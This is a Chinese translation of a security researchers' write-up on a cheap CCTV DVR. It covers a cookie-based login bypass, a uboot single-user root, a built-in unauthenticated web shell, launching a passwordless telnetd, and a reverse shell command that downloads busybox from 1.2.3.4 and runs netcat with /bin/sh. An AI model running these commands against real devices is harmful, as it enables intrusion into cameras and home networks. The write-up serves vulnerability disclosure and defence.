闭路电视探头究竟有多不安全？

时间:2022-05-07
本文章向大家介绍闭路电视探头究竟有多不安全？，主要内容包括容易被找到、弱口令问题、Web验证绕过、打开串号控制台、内置web shell、无需密码登录Telnet、反弹shell、发送截屏至硬编码的邮箱、其他问题、我们的建议、基本概念、基础应用、原理机制和需要注意的事项等，并结合实例形式分析了其使用技巧，希望通过本文能帮助到大家理解应用这部分内容。

闭路电视探头在我们的生活中无所不在。最近的调查估计全英国大概有185万的监控摄像头，大部分都在私人住宅。大部分的探头都会连接到某些录像设备，也就是数字录像机(DVR)。

DVR会把多个摄像头的录像储存到一个硬盘上。它们不仅能够在屏幕上显示图片，大部分还能联网，用户可以通过浏览器或者客户端来连接。

当然商家和户主都会想要远程进入DVR，DVR设备通过端口转发连接到互联网，也正因为如此，我们可以在Shodan上找到大量的DVR设备。

所以我们打算买个廉价的DVR，看看还会不会有更加糟糕的情况。

经过几小时的挖掘我们便发现了以下的问题：

容易被找到

这款DVR会运行一个客户web服务器，它的HTTP服务器头很具标志性：“JAWS/1.0”。在Shodan上搜索这个关键字我们找到44,000个设备。

弱口令问题

默认情况下，这款设备的用户名是admin，密码为空。

连接电视后使用DVR的本地界面就可以更改密码。但设备中没有键盘，所以可以肯定大量的这款DVR使用的是默认密码。

虽然弱口令已经是老掉牙的问题了，但是还是物联网领域中普遍的问题。

Web验证绕过

首次访问DVR的时候显示的是index.html页面，这个页面可以让你输入用户名密码，验证成功后，你就会被重定向到view2.html。

奇怪的是，当我们清空cookies，访问view2.html时，我们看到页面渲染了一下，然后再把我们重定向到index.html让我们输密码。

这基本上就是JavaScript客户端验证的标志了。检查view2.js，我们发现是这样的：

$(document).ready(function(){
    dvr_camcnt =Cookies.get(“dvr_camcnt");
    dvr_usr =Cookies.get("dvr_usr");
    dvr_pwd =Cookies.get("dvr_pwd");
    if(dvr_camcnt ==null || dvr_usr == null || dvr_pwd == null)
    {
        location.href= "/index.html";
    }

只要这三个cookie有任意值，你就可以访问了(dvr_camcnt得是2、4、8或24)。

手动设置这些cookie我们就能访问了。也就是说，我们无需知道用户名密码。

打开串号控制台

虽然拿到Web界面控制已经很好玩了，但我还要root shell。

打开机器上面的盖子之后，我们发现了J18。这是个115200串口，虽然我能看到输出，但是没有shell，也没地方输入。

重启设备后我们发现它使用的是uboot，这是一款非常常见的开源boot loader。按任意键就能中断uboot。不过你只有一秒钟中断uboot，所以可能得多尝试几次。

我们现在就进入了uboot控制台。我们可以修改启动参数，改为单用户模式，我们就无需密码登陆了。

setenv bootargs ${bootargs) single
boot

现在DVR就进入了单用户模式，我们也有了root shell，我们可以做点猥琐的事了。

内置web shell

本地root shell不错，但我还想要远程shell。

查看固件后我们发现，大部分的功能都是在dvr_app里面的，包括web服务器。尽管web界面中有cgi-bin目录，但我在文件服务器上没找到这个目录，有可能dvr_app在内部处理了这个目录。这样的情况在嵌入设备中非常普遍。

对这个二进制文件使用strings命令，就能看到cgi-bin了。而且我们还看到了其他的值，包括moo和shell。

访问moo目录是这么个情况：

访问shell目录会一直加载，但访问shell?ps时就能看到进程列表了：

因此我们就拿到了一个远程，并且无需认证的shell，这个shell无法禁止，是设备里面自带的。

无需密码登录Telnet

设备在23端口运行telnet，但需要root密码。即使我们能够看到/etc/passwd和解密hash，我们还是拿不到密码。

我们通过密码破解器看看能不能拿到密码，但这要花点时间。

为了解决这个问题，我们使用远程web shell开启一个新的已经登录的telnet daemon：

http://192.168.3.101/shell?/usr/sbin/telnetd -l/bin/sh -p 25

现在我们可以登录telnet了。

反弹shell

攻击者可以用反弹shell让DVR反向连接到他所控制的主机。只要用户有出口连接，这招就很管用，这是绕过NAT和防火墙的好办法。家庭企业和小型企业网络大多不会进行出站的过滤。

一般我们会用netcat建立反弹shell。跟其他小型嵌入式设备一样，这款DVR使用busybox来提供发亮的shell功能。这些命令是任意的。很遗憾netcat不能用，但我们可以解决。

DVR使用的是ARM处理器。也就是说基本上不可能直接下载netcat或busybox了，我们得进行编译。

为嵌入式系统进行编译很尴尬的，尤其是你得要跟硬件交互的时候。还好busybox和netcat的要求不多。我们只需要为架构创建静态链接二进制。这个得是要静态链接的，这样就能避免对库的依赖。这样会使二进制文件变大，不过这款设备上没有磁盘空间挺宽裕。

编译完成后我们就拿到DVR上试试。

找一个可写目录。大部分的文件系统都是只读的，你甚至无法更改密码添加用户。这毕竟是个DVR，所以我们弄了个硬盘，加载在/root/rec/a1下。 用wget下载编译的busybox二进制到这个目录 把busybox设为可执行 运行netcat反弹shell

命令如下：

http://192.168.3.101/shell?cd /root/rec/a1 && wget
%68%74%74%70%3a%2f%2f%32%31%32%2e%31%31%31%2e%34%33%2e%
31%36%31%2f%62%75%73%79%62%6f%78%20 && chmod %2bx busybox
&& ./busybox nc 1.2.3.4 8000 -e /bin/sh -e /bin/sh

Wget的网址得要经过编码，实际的网址是：

http://1.2.3.4/busybox

我们服务器上的netcat就监听到一个连接了，通过访问构造好的URL我们就可以与DVR进行交互了。

发送截屏至硬编码的邮箱

进一步检查dvr_app二进制，我们发现了一些很奇怪的功能。

不知道为何，第一个摄像头的截屏会被发送到lawishere@yeah.net。

发送DVR截屏的行为严重威胁到了隐私。

而且奇怪的是，有人曾经在Frank Law的GitHub页面上报告过这一情况：

https://web.archive.org/web/20151010191622/https://github.com/lawishere/JUAN-Device/issues/1

然后他撤下了这个项目。

其他问题

事情到此并没有完全结束。这款设备还有其他的问题：

如果你通过web服务器获得了shell或者命令注入，你就没必要提权了，你已经是root了。 这款设备没有CSRF保护，你可以诱骗用户点击链接，就能以他们的身份执行动作。 没有帐号锁定或者防爆破措施。你可以一直猜密码下去，唯一的限制频率的就是设备本身的运行速度。 没有HTTPS。所有通信都是以明文方式发送，可以被拦截，可以被篡改。 没有固件升级

我们的建议

把这些设备放到互联网上，你就会面临严重的安全风险。如果你把web界面端口转发，你就等于让攻击者完全控制这个设备。然后他们还可以以此作为跳板从内部攻击你网络中的其他设备。

* 参考来源：Pentest Partners，vulture翻译，文章有修改，转载请注明来自FreeBuf黑客与极客（FreeBuf.COM）

随机文章
本站知识点必读
最近更新